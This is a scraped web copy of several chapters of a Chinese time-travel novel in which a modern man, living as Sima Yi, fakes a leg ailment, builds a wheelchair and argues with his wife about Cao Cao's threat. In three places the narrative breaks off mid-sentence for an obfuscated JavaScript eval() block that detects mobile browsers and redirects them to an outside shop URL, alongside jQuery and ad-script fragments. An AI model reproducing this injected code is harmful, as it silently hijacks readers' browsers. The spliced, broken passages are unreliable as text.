横槊闻言,不可置信地看向司马毅,仿佛他在说什么一反常态的胡话,目光哀痛,先是同情地打量司马毅,继而叹气,无奈感慨,“公子从前可不会说这样的话。公子哪里是傲慢,分明就是才学惊世,寻常地评论其他人罢了。” 司马毅随之语噎了噎。他一时不知道是从前的司马懿真的如此有本事,还是这个叫横槊的小书童过于吹嘘。 司马毅把手搭在横槊的肩上,蹒跚地往前走着,找不到其他话题,更加清晰感觉到腿足上的疼痛,时而喊叫着:“慢点,再慢点……” 前方,张春华和韵竹为了适应他们主仆二人的速度也走得极慢。韵竹不时地回眸观察司马毅,紧接着附唇到张春华耳边,小声道:“女郎,不,夫人,总觉得公子他变得怪怪的。” “不像是失忆,倒像是失了智。” 张春华听了,先是转眸微瞋韵竹,继而更向后也看了看司马毅,回首再次望向韵竹,抿了抿唇,状若无言以对,但还是故意厉声:“休要胡言。” 韵竹撇了撇嘴,虽是不服气,但也听从张春华的吩咐,没再多言此事,只是转瞬复地激动起来,更说起别话,“那公子真的是因为昨夜腿疾复发、又疼痛失忆,才没有与夫人圆房的吗?还是他真的不行啊?” 张春华眼眸中的羞恼更甚。 韵竹只得赶忙闭嘴。 四人走了小半个时辰才走到司马府的前堂,恢弘的内室里,昨日见过的司马氏家主司马防已经坐于高位上,清朗的面容微微崩紧,连半白的胡须都纹丝不动。 座下,以长兄司马朗一字排开,坐了好些容貌皆有两三分相似的少年郎。司马朗是昨日那位被司马防吩咐去找司马懿、最后陪着司马懿一同出现的青年。 青年的面容较于其他弟弟们要明显成熟、稳重,下颚线条也没有过于清晰、凌厉。 望见司马毅等人,除了司马朗,其他几位皆是站起身,没有说话,注视着司马毅等人走进前堂内,站到堂中,朝着堂上的司马防拱手施礼。 张春华最先叠手,而后她刻意瞥了司马毅一眼,见司马毅没动,微扯了扯他的衣袂做提醒,司马毅这才学着她的模样,两手相叠。 “儿媳。” “儿子……” “张春华。” “司马懿……” “见过父亲。” 张春华沉首下去,司马毅紧随其后。 司马防清了清嗓子,声音克制而威严地说道:“好,都起来吧。” 接着,司马防望向张春华,努力扯了扯唇,算不上笑,但勉强有几分温和。 至于看见司马毅,司马防冷冷地瞪了他一眼。 司马毅先是不知所措,而后不以为意地扬唇一笑。 司马防说道:“春华,嫁来我司马府,委屈你了。” 张春华谦逊地再次施礼,回答:“父亲言重。既是旧日婚约,无论仲达他变成什么模样,春华都该悉心照料、不离不弃。” “好啊,不离不弃好。”司马防感慨起来,清浅的瞳眸微动。 张春华微笑以对。 这时,司马朗才站起身,与面前的张春华说道:“春华,我们理应见过,我是仲达的长兄司马朗,字伯达。小的时候去粟邑县拜访,还是父亲带着我和仲达一起去的。” 张春华依稀记得司马朗从她幼年就是位温和的兄长,随之转身、施礼,敬唤:“春华见过长兄。” 司马毅也转过头来。 司马朗接着又道:“仲达你如今也是成婚了,该成熟、稳重一些,往后好好听大夫的话,认真治病,善待弟妹,切莫再自作聪明、鲁莽行事。” 司马毅撇了撇嘴,挥手只道:“知晓了、知晓了,大哥也太唠叨了。” 司马朗闻言,摇头直笑。 到司马朗之后,是张春华近来见过无数次的司马孚。 张春华看向司马孚的时候,司马孚还在与司马毅挤眉弄眼,转眸微瞥司马毅,只见司马毅装得和真的一样,他明明失忆了,竟然还能与司马孚在眼色上有来有往。 张春华好心,主动称呼道:“孚弟。” 司马孚回过神,与张春华见礼,“弟司马孚见过嫂嫂。嫂嫂唤我叔达便好。” 张春华浅浅莞尔。 其他诸多弟弟又一一向张春华自我介绍,张春华一一称呼、见礼。司马毅也因此大致知晓了他们的名字与身份。 四弟司马馗、五弟司马恂、六弟司马进、七弟司马通、八弟司马敏。且他们每人的表字都按照伯仲叔季往后排或以其他加一个“达”字。 诚如司马孚叫叔达,司马馗叫季达…… 至基本的礼数都有了,年幼的弟弟们还在围着张春华,夸赞:“二嫂嫂长得真好看。”司马懿直接嚷嚷着,“哎呀,我这双腿实在太痛了,昨夜还被曹司空家的二公子以蛮力按压,若是父亲、兄长没什么事,我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她倒不是很担心自己,只怕如今的司马毅万一闯出什么祸来,不仅会牵连自己和他全家,还会牵连自己全家。 韵竹抿唇深想,隔了良久,才又道:“夫人,你觉不觉得二公子好像换了一个人?虽然婢子也没怎么见过二公子,只匆匆的一两面,可是比于那一两面总觉得如今的二公子不一样了。” 张春华的目色变深。 韵竹接着道:“可是家主、大公子、三公子,就连横槊都没有怀疑。其他人便也罢了,横槊照理说一直跟在二公子身边,怎么会不了解原本的二公子呢,难道是婢子多想了?” 张春华说不上来,她虽也怀疑,但不敢直接宣之于口。 韵竹思忖了半晌,突然豁然开朗地再道:“夫人,不如我们找机会偷偷询问横槊如何?说不定横槊也与婢子有一样的疑虑,可是他不像婢子什么话都能与夫人直说。” 9. 第九章 司马毅实实在在待于房中修养了三四日,双腿才有所好转。 其间,冬日的白雪纷纷扬扬地下着,将天地装饰成一片银装素裹。 他本是个不算太北方的人,是而在未来见雪的次数不多,故而常想走出寝居,畅快玩它一番。然而,张春华与横槊都阻拦他。 张春华以为如今时机特殊,不宜在人前有所纰漏,万一叫曹操的眼线发觉,告到曹操那里去,只怕司马氏全族都要遭殃。 横槊想得则是,他家公子的腿伤仍旧没有痊愈,这室外天寒地冻,若是待得久了,只怕不利于恢复。 于是,司马毅每日只能偶尔走到门边,隔着漆黑、低矮的屋檐,远远地窥探一番那满目的洁白与明亮。 横槊恰好端了茶点从室外往屋里进。 路过司马毅身边,司马毅毫无章法地挥动左手,似乎努力地在够横槊。 横槊不明所以。 司马毅无奈只道:“扶、扶我一下,我站得太久了,腿麻了,又牵连着旧伤疼痛,快支撑不住了。” 横槊反应过来,赶忙回身去迎司马毅的倚靠。奈何他手上端了东西,周围又无桌案,一时将手上的茶点放也不是、继续端着也不是。 张春华与韵竹坐在外室读书,见状,张春华吩咐道:“韵竹,去帮帮横槊。” 韵竹这才匆匆地起身,走到门边,接过横槊手中的茶点,兀自端着回到茶案前,摆在还读书的张春华手边。 韵竹先为张春华斟了一杯茶,接着又捻起一块糕点,送到张春华面前,笑靥如花地说着:“夫人,尝尝。” 张春华莞尔接过,自书简之上抬首,转眸望向门边的司马毅与横槊。 司马毅已经半挂在横槊身上,揽着横槊的双肩,两腿无力地拖行着。 横槊叹息道:“公子,你的腿伤既然还没完全好,就别到处乱走,好生躺着或者坐着不行吗?这要是加重了伤势可怎么办才好?” 司马毅置若罔闻。 张春华瞧着他们主仆相处,意味不明地扬了扬眉,而后将糕点塞入口中,一点一点地吃了起来。 司马毅抬眸便望见正前方张春华的吃相。 还真就是古代的名媛淑女,半分不似未来人虽不至于丑,但俨然大快朵颐的模样,而是樱桃粉唇,微微地张阖着,贝齿轻咬,半晌糕点就只受了个皮外伤。 但即便如此,她竟还能品出个好歹来,吃着吃着,笑意盎然地回望韵竹颔首,自己也拿了一块递给韵竹,伸长秀美的颈项,与韵竹说道:“好吃,你也吃。” 韵竹喜笑颜开地接过。 司马毅望着,愣了愣。张春华明明是个少女模样,可自己常常会忽略她的年岁,在她的身上看出些成熟的韵味,以致引得自己有所遐想。 比如,她颈上的肌肤细腻如雪,甚至瞧不见多少纤白的绒毛;线条顺滑、优美,像是女娲造人的杰作。自己看着不禁有些心驰神往,但转瞬便不得不唾弃自己,怎能垂涎一个稚幼的女娃。 他逼着自己回过神来,继而与横槊答非所问:“按照你的说法,我现在腿伤未愈,就该躺着、坐着。那等日后腿伤好了,为了掩人耳目,是不是还得躺着、坐着?我是假装病了,可你们总不能一直将我囚禁在这屋室的方寸之地。我就算腿脚不便,也总要出去走走的。” 横槊听罢,因为心疼司马毅,一时没有反驳,也没有开口说话。 还是韵竹不拘小节,直言道:“公子日后想出去,自然可以出去啊。只是这腿疾既然装了,就得装到底,便是出门也得跛足,面露痛色、状若艰难。” 因为韵竹的嘴里还有糕点,说话支支吾吾的。这让司马毅更是不平,他们每人倒是身体康健如常,不用装病,还惯会享受,不顾自己就是品茗、吃糕点。 司马毅瞋了韵竹一眼,继而收回目光,愤愤不平地说道:“你们古代就没有什么能让装病简单些的东西?比如我腿脚不便,一直装着跛足也太累了,就搬个轮椅给我,让我坐在上面,被人推着、或者自己推着自己前行,反正只要我不起身走动,别人也不会发现我是在装病。” “对,轮椅,就是轮椅,你们这里没有轮椅吗?”司马毅说着说着,恍然大悟起来,拍着横槊的肩,眼眸泛光,激动地询问。 若是有了轮椅,他既不用累死累活地装着腿痛、拖着双足前行,更是想去哪里都可以,还不会叫其他人怀疑。 “轮椅?”横槊与韵竹同时重复出声,接着一起摇头,一道回答:“小的、婢子,从未听闻过如此物什。” 司马毅只能看向张春华,寄希望于张春华作为世家贵女、读得书多,能知晓一二。 然而,张春华同样只是摇头。 司马毅泄了气,整个人像被抽了脊骨一般,软绵绵地挂在横槊身上。 到横槊扶着他至张春华对面的茶案前坐下,司马毅触目望见张春华摆在茶案之上的书简,忽而灵光一现,恢复神采奕奕,自言自语地喃喃道:“不就是个轮椅吗,没吃过猪肉还没见过猪跑吗?本二十一世纪已经过时的男大学生就画一个出来给你们见识见识。” 司马毅抬眸、郑声:“横槊,拿纸笔来。” 横槊被他突如其来的呼喝吓了一跳,也不明白他是要做什么,但后知后觉地还是答应着,到屋内的书案旁边去取了纸帛和墨笔。 纸帛和墨笔摆在司马毅的面前。 墨笔倒是一如后世的毛笔,只是这纸帛,比起洁白、光滑的纸张,有几分似布非布的柔软,以及泛黄和粗糙。 司马毅懒得再嫌弃一通,自己告诉自己,“将就着用吧。”随之,提笔、垂眸,专心致志地在纸帛之上开始写写画画。 张春华、韵竹和横槊先是好奇地观望了一阵,而后实在不太明白他在画写些什么,便各自收回目光。 韵竹借机拉了横槊,与横槊一起到张春华近前。 张春华茫然地抬眸看他们,韵竹率先开口,小声道:“横槊,你觉不觉得你家公子自失忆之后就有几分奇怪?” 张春华目光一凝,这才想起先前与韵竹说好,要就司马毅性情大变之事询问询问横槊。 横槊闻言,则是冥思苦想了一番,随后,警惕地看了看韵竹,又看了看张春华,见张春华是自家少夫人,公子在失忆前还十分信任、坦白了装病的事实。 横 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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横槊又道:“公子他只是失忆了,不再记得许多从前的事。但他依旧是那个对横槊良善、平易近人的公子。当年,若是没有公子仗义出手、救横槊于危难,横槊早就被人牙子打死了。故而,无论公子怎么变,只要他还是公子,横槊都会不顾一切地相信公子。” 韵竹有些不好意思地看向横槊,仿佛自己不小心冒犯到了横槊,满目的愧疚。 横槊则是灿然一笑。 此时,司马毅终于放下墨笔,拍桌道:“画好了,就是这个叫作轮椅的东西。横槊,劳烦你找个工匠,尽快把它打造出来,你家公子我有大用。” 张春华闻声向那纸帛上望过去,只见一个类似坐案的东西,自带满背的靠几,架得离地两尺高,下面装上了较小的马车车轮。 “这是轺车?”不,没有顶盖。“这是坐榻?”可是它自带靠几,还不紧贴于地或者高台。 “这就是轮椅。”司马毅郑重其事。 “仲达你自己设想出来的吗?”张春华更是好奇。 司马毅面上则是有几分为难,心虚地回答:“算、算是吧?但也不完全,可以说是在前人的肩膀上创造的。” 韵竹拉着横槊小声:“你家公子还会百工之术,描图造物吗?” 横槊亦是目瞪口呆,摇头不止。 他记忆中,自家公子没做过这些啊? 10. 第十章 “横槊,将萝卜和刀递给我,我来雕个雪人的鼻子。你把这雪球抱去,放在雪人的身子上垒好。” “公子,这样行吗?” “不行,左边一点。多了多了,再右边一点。” 安静的室内,除了书简挪动的轻微“哗啦”声,便是不断从空旷的室外传来的高昂人语。 韵竹陪在看书的张春华身侧,本是百无聊奈地喝喝茶、吃吃糕点,见室外的人语声犹甚,不禁出于好奇,站了起来,走到门边,倚在门框上观望。 室外,司马毅和横槊正在堆雪人。 “好了,这就是雪人的鼻子了。横槊,还有这个,你将我带出来的腰带系于雪人的脖子,这雪人就算是完成了。” “为什么腰带要系在脖子上?” “因为是雪人的围巾啊。横槊,我发现你小子的问题实在有点太多。” 司马毅坐在已经造好的他所谓的“轮椅”上,随之便是对横槊嗔怪一句,接着弯腰触地,艰难地抓起一捧雪,胡乱地团了团,扔向横槊。 雪打在横槊身上,冰凉,却并没有多少痛感。 横槊转眸,哀怨且委屈地看向司马毅,撇嘴静默了良久,而后就在司马毅洋洋自得的时候,横槊突然也抓起一捧雪,反扔回给司马毅。 司马毅坐在轮椅上,行动不便、躲避不及,一下吃了满脸的白雪,顿时佯装恼怒地说道:“好啊,你个横槊,居然敢欺负你家公子我,你有种别跑,看我不砸死你。” 司马毅说着,又弯腰去掬雪。 韵竹看得啧啧称奇,不由与室内一直不为所动的张春华说道:“夫人,你快看啊,公子和横槊。公子自从有了这所谓‘轮椅’的物什之后,愈加得潇洒自在,现下竟是与横槊玩起雪来。” 张春华闻言,并未从书简上抬眸,只是略略地沉吟,回答:“他既命匠人铸造了这轮椅,便利于行走,只要不站起来,不叫人发现他腿疾的真相,他想玩什么便玩什么吧。” “可是,这哪里有半分病患的羸弱?”韵竹不满地摇头反驳。 她瞋视着室外的俩人,横槊恰好跑到她身前,与她间隔着狭窄的廊庑。司马毅自己推着轮椅在追横槊,双腿之间的衣摆上存了一大摊残雪。司马毅将残雪团成一个大雪球,对准横槊。 横槊左右摆动,挑衅道:“公子来砸我啊。” 司马毅气愤不过,将偌大的雪球朝着横槊中心面门直直地砸了过去。横槊见状,往右边闪躲,雪球越过横槊,穿过廊庑,一下竟是落在韵竹的肩上。 韵竹眼眸瞪大,更是满面的羞恼之色。 横槊回眸一望,霎时恐惧地倒吸了一口凉气。司马毅则是视若无睹,不仅毫无愧疚,反还殷切地招手邀请道:“韵竹,你出来了?既然出来了,一起来玩啊。” 韵竹转眸向室内,跺脚告状:“夫人,你看公子!” 而后,韵竹自觉自家夫人多半不会因此责备她家夫君,与其靠夫人给自己做主,不如靠自己。于是,韵竹“噔噔”几步,从廊庑跑入庭院中,也抓了雪来,对付司马毅。 转瞬之间,司马毅凭借一人之力,竟是要应对横槊和韵竹俩人。再加之,他们俩人步履矫健,自己坐在轮椅上,多有不便。 没一会,司马毅就全身是雪了。 室外,满是少男少女嬉笑打闹的声响。张春华心里有几分悸动,既然再看不下去书,张春华索性也起身到门边去观望他们主仆三人玩耍。 白日的雪地里,茫茫的光华一片,浸染着天地一片素净。远处是安宁矗立的房屋,唯有眼前三个彩色的人影晃动,司马毅是蓝,韵竹是粉,横槊是青。 他们忽而靠近,又忽然离远,皆是被白雪沾染,多了几许朦胧、渺茫的意味。 好似自己站在人间窥探遥远的仙界。 张春华见他们玩得高兴,不由自主地微微莞尔。眼见司马毅完全落了下风,不仅满身满脸都是雪,衣襟与袖袂都被濡湿大半。 张春华正想,这要是感染了风寒可怎么好?韵竹和横槊也太不懂得进退,此时就该让让司马毅才对,不然万一司马毅心胸狭窄,秋后算帐怎么办? 她其实不太懂司马毅,正如下一瞬,她没有想到司马毅会从轮椅上站起来,撇了轮椅,撒开已经恢复如常的两条腿,猛地追起横槊和韵竹来。 他追上韵竹只是简单地砸了雪球,追上横槊则是抓了满手的雪一把塞进横槊的衣衫之内。 横槊蜷曲着身体,直嚷嚷着:“凉!公子我错了,小的错了还不行吗?” 张春华见状则是眉头紧皱。 她也不管庭院中的混乱,莲步轻轻地经过横槊和韵竹,走在虽未下雪,但因被扬起,久久飞舞还没落下的残雪中,站到司马毅面前。 司马毅眼前微暗,随之定睛一愣。 隔着白茫茫的雪雾,他瞧见一个袅袅婷婷的杏衣少女。所谓“髣髴兮若轻云之蔽月,飘飖兮若流风之回雪”,眼前的少女靡颜腻理、粉面桃腮,可不正像腾云驾雾而来的仙女。 司马毅呼吸微滞,没有说话。 张春华则是正色道:“仲达你借轮椅玩耍便玩耍,怎好因一时意气就站了起来?若是此时院中还有其他人,又恰好是曹司空留下的眼线,该当如何?” “倘若曹司空知晓你并无顽疾,只是装病。轻则不遂你之意愿,强行征辟你出仕为官;重则问罪整个司马府,自父亲而下到几位兄弟皆会因你所累,还有我、我们张氏……”张春华无奈叹息。 明明是仙女的模样,可是仙女的表情神色冰冷,朱红的唇齿间喷吐出满是责备的话语。 司马毅顿时回神,从仙界到凡尘。 他瞥了张春华又一眼,见她眼神威慑,不禁心虚地往后倒退,朝着轮椅栽倒的方向,缓慢地摸索,待摸到轮椅,更是慌张地扶正,而后自己跌坐上去。 韵竹和横槊都不敢再说话。 司马毅坐在轮椅上不满地小声嘟囔:“这不是四下无人吗?既没有人,便是没事,犯不着说些没发生的事情吓唬我。就算真的被人发现,我一人做事一人当,去向曹操请罪就是。再说,你怎么就知道这周围有的其他人一定是曹操的眼线?” 司马毅最后一句扯高了嗓音,抬眸直视张春华。 他被腿疾憋闷、束缚了这么久,好不容易有器物帮助,走出屋室,一时兴之所至,站起来跑两步怎么了? 植物人都还要做肌肉训练,他难道要一辈子不走,就坐在轮椅上,等待腿部肌肉萎缩吗? 张春华见他不乐意听自己的指正,又说些天真烂漫、想当然的话,随之也是气恼起来,更上前一步,再次靠近司马毅,认真道:“仲达你是失忆,并非没了理智!” “这曹司空的阴狠手段,还需要我与你言说吗?三年前,建安五年,衣带诏事泄,陛下与群臣密谋诛杀曹操。曹操杀群臣、屠满门,就连贵为陛下皇妃已有身孕的董氏也被杖毙。” “他对权臣、妇幼都下得去手,更何况你与我这等,乃至是司马氏这样即使在京畿仍旧不算高的门楣?” 少女气得面红耳赤,连呼吸都微微变重。 司马毅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712189|144605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她举的衣带诏事例说得有些心虚、泄气,但还是不肯服软地反驳:“你也说了,那是陛下和群臣想要谋划诛杀曹操,曹操才会对他们不留余地。我又没想着杀曹操,他为什么会杀我?还因为我要杀了司马氏一族?” 张春华又在道:“如今曹操在许都只手遮天,挟天子以令诸侯,群臣皆服。你既是京畿臣子之后,曹操看重,你却佯装有病不肯出仕。难道曹操不会以为你、以为司马氏有二心吗?” “我又不能代表司马氏。”司马毅再次嘟囔,“就算我对曹操有不臣之心,长兄司马朗不是效忠曹操吗?总不能因我一人就行连坐吧,还有没有王法律令了?” “曹司空就是王法。”张春华郑重其事,“再说我朝律令本就有连坐之罪。” “你、你们古代……”司马毅自知说不过张春华,被气得不行,只能抬手指着张春华,随之小声,“你们古代也太野蛮了!” “还有,你一个小姑娘家哪来那么多老气横秋的仪态、说法。这些事情我能不知道吗,我就是不想细想罢了,犯不着你来告诉我。你小小年纪别总想着教训、规束我。”司马毅复地大声。 这要是表妹,司马毅已经把她抓起来按在沙发上打了。 可是,他不敢打张春华。 他再次睨向张春华,嘴上依旧不依不饶,“按照你的说法,我无论如何不能在外人面前站起来。可倘若家人有意外,或是他人有性命之忧,也不能站起来救助吗?” 张春华细想了想,刚准备回答。 司马毅自答道:“到时候就算曹操问罪,我也会站起来。既然不知道结果到底是生是死,就还有生的可能,我不可能见死不救。” 张春华张了张唇,欲言又止,似乎想反驳他的话语,又觉得他的话不无道理。 良久,张春华只道:“你往后只要不累及家眷便好。若真是逼不得已叫他人发现,若是你不能做,有些事情我也可以帮你做。” 少女的杏眸睁圆了,目光幽邃而坚定。那份自然而然流露的坚韧和成熟,是司马毅在未来与她同龄的其他小姑娘身上鲜少见到的。 司马毅轻呵,暗自腹诽,“真有什么事,我一个大男人还能让你一个小姑娘为我出头吗?” 接着,司马毅冷哼一声,推开坐着的轮椅,跌在雪地中,双腿平展开,轻易便抓了两捧雪,又道:“既然我不能站起来,那就坐在雪地里玩。” “来吧,打雪仗。”司马毅说完,第一捧雪直接扔向了张春华。 张春华静止不动。 司马毅又扔了她一捧。 张春华垂眸,冷冷地看向司马毅,见他像个大孩子般,气恼着气恼着,又莫可奈何地笑起来。 张春华伏身下去,直接扬着满地的雪,往司马毅身上挥。 韵竹和横槊见状,纷纷喜笑颜开,加入道:“夫人,我们来帮你对付公子。” 须臾,司马毅只得连连求饶。 他一边求饶,一边不忘问:“说来,春华你小小年纪能帮我做什么?” 司马毅笑睨张春华。 张春华手上的动作没停,状若思考后,一本正经地回答:“相夫教子、执掌中馈,这都是自小家中教过的。至于家中没教过的,打架斗殴、杀人放火,未尝不可。” 司马毅:“啊?!” 她不是个世家出身的名媛贵女吗,还能做这些,莫不是故意说来诓骗、恫吓自己的? 司马毅愤懑,一人对三人,仗着自己不用弯腰,取雪容易,双臂不停地挥动,拨弄着白雪纷纷扬扬。 11. 第十一章 经过一段时间的相处,张春华才慢慢发觉失忆后的司马懿,与自己记忆中和新婚当日所见到的确实都不同。 自己记忆中那个翩翩少年,尽管也是明朗、热烈的模样,但他成熟、稳重,小小年纪已是胸有经纬。 新婚当日所见到的那个比于幼年多了几许阴鸷和漠然,但隐藏在深不见底的城府背后,依旧是当年的赤忱与明艳。 再看看眼前这个,已经失忆的司马懿。 不知是不是没了多年阅历与搓磨的缘故,撇去了一切的经纬和城府,就只剩下单纯与开朗了。 他眸光清澈,喜欢所有稚嫩、胡闹的趣味。冬日里要玩雪,堆雪人、打雪仗;春日里又想攀树、摘花。若非自己一力阻拦,最终与他商议,攀树、摘花可以,但是横槊去做,他在下面接着就行,只怕他已经无数次地弃了轮椅,随便地站起来。 现下,春日一过,迎来了炎炎的夏日。早春的繁花枯萎,只剩下繁茂、葱郁的枝叶。饶是果树之类,也只有青绿、还未长成的涩果子,攀树、采摘自然不成。 张春华总算能把他留在屋室中,自己盯着他,让他安生些。 可是,待在屋室里的司马毅,无事可做,实在无聊。司马毅也不是不想攀树、采摘,除了无花、无果以外,还是由于古代的夏季没有空调,为了避免大汗淋漓,司马毅也懒得大动手脚。 司马毅觉得待在寝居无趣,换了个地方,跑到储藏杂物的耳室,又见耳室憋闷,最后去到没有地方去才好奇前往一观的书房。 其间,张春华同韵竹、横槊都陪着他。说是陪着,司马毅以为与监视无差。 他只看了一眼琳琅满目的古籍和竹简,便调转轮椅要走。大学都毕业了,谁还要看书啊?可张春华有些走不动路,试探且期待地询问他,“我可以看这里的这些书吗?” 司马毅细细一想,反正都是一间四方的屋子,寝居、耳室和书房又有什么区别呢?寝居有的床榻,书房可用坐榻替代,书房也有茶案和茶,还多了棋盘,遂同意张春华道:“这些书,你想看便看吧。” 然后,他自己拉了横槊,到书案旁摆上棋盘,百无聊赖地下起五子棋。 围棋虽然他也懂一些,但就只是一些罢了。他怕自己这种不足十分之一水桶的水平,即使是在横槊一个书童面前,也会颜面尽扫。 如此一日、两日还行,到了三四日,张春华专心致志地看书时,韵竹随侍在旁,给张春华端茶、递糕点,偶尔瞥见自己感兴趣处,央着张春华讲解。张春华一说书,就连横槊都被吸引了注意力,他们三人倒是各得其乐,唯司马毅一人闲得实在发慌。 张春华说得那些书,无论是人物故事还是世间道理,司马毅从前在未来接受教育时,即便没有看过原著,也是大致知晓的。什么汉高祖醉斩白蛇起义、楚霸王乌江自刎、东方朔割肉赠妻…… 饶是张春华的嗓音轻缓、柔软,娓娓地道来,司马毅也实在不愿听了一遍又一遍。他就去到各个书柜面前,随便翻些字画来欣赏,奈何他山猪吃不了细糠,看不明白,又都丢到一边。 不停发出的“哐当”声,很快吸引到张春华的注意。张春华停止讲解、放下手中的书简,抬眸望向对画卷、书籍不知爱惜、丢丢甩甩的司马毅,眉头微蹙道:“仲达,你在做什么?” 司马毅不以为意,连回头看张春华一眼都不曾,继续乱扔着自己手中的画卷、书册,回答:“我太无聊了,自己找点乐子。或者,你有什么好的提议,带我走出这牢笼,玩耍玩耍?” 说到最后一句询问,司马毅倒是兴致勃勃地回眸望向张春华,眼睛生光,仿若迎着朝霞。 张春华先是坦诚地摇了摇头。 嫁来许都已有数月,莫说她自己都没离开过司马府,瞧见外面的景致。便是她真能带着司马毅出去,她也不愿。她怕到时候司马毅不受自己约束,又擅自站了起来。 司马毅见状,面上的表情失落。 张春华沉吟了片刻,询问:“你当真如此无聊?” 司马毅点头如捣蒜。 “那为何不读书以打发时间?”张春华理所当然地反问,自己重新抓上放下的那卷书简,一本正经地接着道,“仲达你的书房有这么多书,还有不少古籍、孤本,孔子所存《尚书》《乐》,想来原本也是极爱读书之人,怎么会失忆就不喜爱了呢?况且,若是尽失从前记忆,往常读过的书不是正好可以当作新书读来?” 张春华认认真真说教的样子,像极了司马毅上学时对他颐指气使的老师们。 司马毅嗔怪地看向张春华,虽未开口,但满面皆是你怎么如此唠叨、多管闲事的不耐烦模样。 张春华见他不服不忿,耐着性子,更加认真地继续与他说道:“你该不会以为如今的你便不用再读书了吧?” 司马毅一歪头,波澜不惊地回答:“自然。” “那如今天下大乱、战事纷扰,最常用到的便是兵法与谋略。《孙膑兵法》乃战国孙膑所作,其中有五教之法,你可知晓是何五教?”张春华提问。 司马懿闻言一怔,下意识地便答:“这我如何知晓?”他从前在未来接受初等、中等和高等教育,即使学过古籍、文言,知晓古代兵法有《孙子兵法》《孙膑兵法》,还有《吴子》《六韬》之类,但谁会认真地阅读每一本?即使是挑一本读,也会读更著名的《孙子兵法》才对。 他理直气壮的样子,叫张春华叹气。横槊走到他身边,则是小声提醒:“公子,《孙膑兵法》诶,你从前不是最善阅读兵法,还能将诸多兵法倒背如流?” 司马毅随之回眸,不可置信地瞥了横槊一眼。 他既是惊讶原本司马懿的本事,又是在责怪横槊说得什么废话。横槊都说了,那是从前的司马懿,又不是他司马毅。他不会背古代的兵法难道是什么十恶不赦的大罪吗? 司马毅更是振振有词地对张春华道:“你说得都对,于如今的乱世天下最常用的便是兵法和谋略。可是我又不上战场,也不准备搅弄这乱世风云,为什么要熟知《孙膑兵法》。别说我现在就是答不上来,便是我答得上来也没有什么用处。” “可是,公子你从前一直说……”不等张春华开口,横槊已是惊讶出声,满目错愕地注视着司马毅,好像受到了什么震荡。 司马毅不明所以。 张春华随之也道:“即便你本身无心搅入乱世之中,可是面对波云诡谲的局势,你也曾告诉过我,要先观望,等遇到合适的时候,还是会出仕。难道失忆同样让你改变了意志?” “即使如此,有些事情纵然你自己不愿,别人也会推着你去做。仲达,你生于乱世、出自京兆尹司马防之家。你的父兄皆是在外有贤名之人,便是你自己,在失忆前,也因才学渊博被天下所知。南阳太守杨俊曾评价你‘乃非常之器’。清河郡崔琰崔先生也曾与兄长说过你‘聪亮明允,刚断英特’,非兄长可及。”张春华一字一顿,苦口婆心地告知司马毅知晓。 司马毅见面前的张春华表情殷切,满是劝诫的善意。自知不该再鲁莽与她呛声。但他听了张春华的表述之后,更觉麻烦至极。 他只是个普通人,刚刚毕业,成为了一个社畜。偏偏这个时候让他穿越,还来到了三国,成为了司马懿。他既无才学,又没本事,要如何承继之前这个世上留给司马懿的美名? 司马毅没忍住,还是小声地自言自语道:“就非得留这么大一个烂摊子给我收拾?什么才学渊博、非常之器,以后他们都会发现,我只是沽名钓誉、名不副实罢了。” 司马毅叹息着又大声起来,试探地反问张春华,“难道我就不能自此一蹶不振,消失在众人的视野之中吗?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这世上多得是少年英才最后籍籍无名。 “可是在所有人对你失望之前,还是会有无数的人想要征辟、启用你,譬如曹司空。他们或许会纵容你慢慢地一蹶不振,但是你一蹶不振也意味着整个司马氏的衰微和为人诟病。”张春华坦诚地回答。 正是因为她过于坦诚,漂亮的眉眼之中毫无狡黠之色,司马毅不用求证都知晓她说得是真的。 司马毅更加烦躁地碎碎念,“你们古代人为何如此麻烦,犯罪要祸及全家,没本事也要祸及全家。我们都是单个、独立的人,不能事事只看自己吗?” 张春华没听清他在说什么,所以没接话。 良久,司马毅长叹一声,无奈再次开口:“所以,你刚才说得《孙膑兵法》呢?拿来,我试着看一看。但也就只是试试罢了,若我看不下去,你、你们都别想强迫我。” 司马毅不仅指了张春华,还指了横槊和韵竹。 横槊闻言,当即转身去往一侧的书架,欣然道:“小的知晓在哪,这就去找来拿给公子。” 横槊去拿书的时候,司马毅就与张春华大眼瞪小眼。 张春华其实不想搭理他的挤眉弄眼,但他的小表情实在太多,看得张春华想躲都没法忽视。 直到横槊突然惊呼一声:“呀,前段时间梅雨季节,好些书都上了霉。这本《孙膑兵法》上也有一些,怕是要晒过之后,公子才能阅读了。” “那就趁着今日天晴把书晒了吧。”张春华不慌不忙地吩咐。 司马毅霎时来了兴致,“什么,不用读书,要去晒书是吗?好啊好啊,正好我闲坐无聊,可以帮忙。” 话音未落,司马毅已经随手抱了满膝的书和画卷,径直推着自己往书房门外而去。 